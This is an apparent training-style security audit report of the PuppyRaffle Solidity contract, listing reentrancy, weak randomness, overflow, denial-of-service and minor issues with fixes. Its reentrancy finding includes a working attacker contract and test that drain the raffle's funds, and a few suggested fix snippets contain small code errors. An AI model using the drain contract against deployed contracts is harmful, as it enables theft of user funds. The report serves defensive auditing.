Title	Author	Date
Puppy Raffle Audit Report	ASHIQ AHAMED	February 27, 2025

Puppy Raffle Audit Report

Prepared by: ASHIQ AHAMED Lead Auditors:

- ASHIQ AHAMED

Assisting Auditors:

- None

Table of contents

About Ashiq Ahamed

Disclaimer

A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	2
Info	5
Total	13

Findings

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description:

The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after the external call the we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

->  payable(msg.sender).sendValue(entranceFee); // the sendValue comes
form the OpenZeppelin's Address library
->  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered a raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. THey could continue the cycle until the contract balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with `fallback`/`receive` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` function from their attack contract, and drains the contract balance.

Proof of Code:

Place the following code into `PuppyRaffleTest.t.sol`

```
    function testReentrance() public playersEntered {
        ReentrancyAttacker attacker = new
ReentrancyAttacker(address(puppyRaffle));
        vm.deal(address(attacker), 1e18);
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;
        assertEq(endingAttackerBalance, startingAttackerBalance +
startingContractBalance);
        assertEq(endingContractBalance, 0);
    }
```

And this contract as well

```
    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }

    receive () external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation

TO prevent this we should have the `PuppyRaffle::refund` function update the `players` array before the external call, Additionally we should move the event emission up as well

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner and predict the winning puppy

Description:

Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact:

Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrandao here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation:

Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description:

In the `PuppyRaffle.sol` the variable totalFees which is of uint64 may cause a `arithmetic overflow` due to this line of code `totalFees = totalFees + uint64(fee)`. The contract is using Solidity <0.8.0 it doesn't revert rather it wraps the number to 0(uint8 -> max value is 255, I we try to add 1 to 255 it will wrap it to 0 rather than 256)

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact:

If the contract is using Solidity <0.8.0, totalFees can silently wrap around, resetting to 0 and losing fee data. Which may result in lower totalFees over the time.

If the contract is using Solidity >= 0.8.0, this may cause reverts is the `totalFees` exceeds the max value of `uint64` which is `2^64-1 or 18,446,744,073,709,551,615`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

(Proof of Code)

In the test case below, two separate raffle rounds are conducted: 1️⃣ First Raffle (4 Players) – The totalFees is recorded. 2️⃣ Second Raffle (89 Players, more than the first round) – The totalFees should be higher, but instead, it ends up being lower due to an overflow.

```
- starting total fees:  800000000000000000
- ending total fees:    153255926290448384  ❌ (Much lower than expected!)
```

This confirms that totalFees is not accumulating properly due to an overflow.

The below test shows that the `totalFees` variable causes a overflow issue due to which the larger number gets wrapped back.

The test for this in the `PuppyRaffleTest.t.sol::testTotalFeesOverflow`

```
function testTotalFeesOverflow() public {
        // Finish a raffle with less players collect the starting fee
        address[] memory players = new address[](4);
        players[0] = vm.addr(110);
        players[1] = vm.addr(120);
        players[2] = vm.addr(130);
        players[3] = vm.addr(140);
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        //We then have 89 players enter the raffle, more than the starting
raffle.
        uint256 playersNum = 89;
        address[] memory players2 = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players2[i] = vm.addr(i + 200); //to get unique address
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}
(players2);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees: ", startingTotalFees);
        console.log("ending total fees: ", endingTotalFees);
->      assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation:

1️⃣ Use uint256 Instead of uint64 • uint64 is unnecessary since Ethereum transactions already operate on uint256.

```
.
.
.

-    uint64 public totalFees = 0;
+    uint256 public totalFees;  // ✅ Change from uint64 to uint256

.
.
.
```

2️⃣ Use SafeMath (For Solidity <0.8.0)

If using an older Solidity version (<0.8.0), use OpenZeppelin's SafeMath to prevent wrapping:

```
.
.
.
+   import "@openzeppelin/contracts/utils/math/SafeMath.sol";
+   using SafeMath for uint64;
+   totalFees = totalFees.add(uint64(fee));
```

```
.
.
.
```

MEDIUM

[M-1] Looping through the players array to check for duplicates in the `PuppyRaffle.sol::enterRaffle`is a potential denial of service (DoS) attack, incrementing gas cost for the future entrance.

Description:

The `PuppyRaffle.sol::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `players` array is, the more checks a player will have to make. This mean the gas costs for the players who entered right when the raffle starts will be dramatically lower than those who enter later.

Impact:

The gas cost for raffle entrance will greatly increase as the players increase in the raffle. Discouraging later users form entering, and casing a rush at the start of the raffle to be of the first to enter the raffle.

The attacker might fill up raffle at the start, causing a much higher fee for other users and causing a rush.

Proof of Concept:

(Proof of Code)

If we have 2 set of 100 players enter, the gas cost will be such as:

- 1st 100 players: 6252128
- 2nd 100 players: 18068218 This is more than 3x times more expensive for the second 100 player.

The below test shows that the gas cost increases significantly for the user who enter late.

The test for this in the `PuppyRaffleTest.t.sol::test_DoS`

```
function test_DoS() public {
        vm.txGasPrice(1);
        uint256 playerNum = 100;
        // For the first 100 players
        address[] memory players = new address[](playerNum);
        for(uint i; i < playerNum; ++i) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used in FIRST transaction: ", gasUsedFirst);

        //For the next 100 players
        address[] memory players2 = new address[](playerNum);
        for(uint i; i < playerNum; ++i) {
            players2[i] = address(i + playerNum);
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}
(players2);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("Gas used in SECOND transaction: ", gasUsedSecond);

 ->     assert(gasUsedFirst < gasUsedSecond);
    }
```

The test results:

```
forge test --mt test_DoS -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_DoS() (gas: 24357415)
Logs:
  Gas used in FIRST transaction:  6252128
  Gas used in SECOND transaction:  18068218

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 43.73ms
(42.91ms CPU time)

Ran 1 test suite in 156.58ms (43.73ms CPU time): 1 tests passed, 0 failed,
0 skipped (1 total tests)
```

Recommended Mitigation:

There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet address anyways.
2. Consider using a mapping to check for duplicates. This would provide a constant time loop up whether a player is already entered.

```
+  mapping(address => uint256) public addressToRaffleId;
+  uint256 raffleId;
```

```
.
.
.

function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from the newPlayers
+       for (uint256 i = 0; i < players.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player")
+}


-        for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }


.
.
.
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description:

In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
```

```
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact

This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation:

Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

```diff
        require(players.length >= 4, "PuppyRaffle: Need at least 4 
players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, 
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation:

There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for the player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description:

If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:

A player at index 0 may incorrectly think they have not entered the raffle, and attempt to re-enter the raffle again, wasting some gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. Users thinks they have not entered correctly due to the documentation.

Recommended Mitigation:

The easiest recommendation will be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return a `int256` where the function returns -1 if the player is not active.

[L-2] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```diff
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

Informational / Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended.

Description

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least `0.8.18`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither docs for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 66

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 204

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] Use of "magic" numbers is discouraged.

It can be confusing to see number literal in the codebase, and it's much more readable if the numbers are given a name.

Replace all magic numbers with constant.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-       uint256 prizePool = (totalAmountCollected * 80) / 100;
-       uint256 fee = (totalAmountCollected * 20) / 100;
         int256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
/ TOTAL_PERCENTAGE;
        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
TOTAL_PERCENTAGE;
```

[I-5] Dead Code

Functions that are not used. Consider removing them.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 218

  ```
      function _isActivePlayer() internal view returns (bool) {
  ```

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Reading from a storage is much more expensive then reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read form storage, as opposed to memory which is more gas efficient.

```diff
+   uint256 playerLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate 
player");
        }
    }
```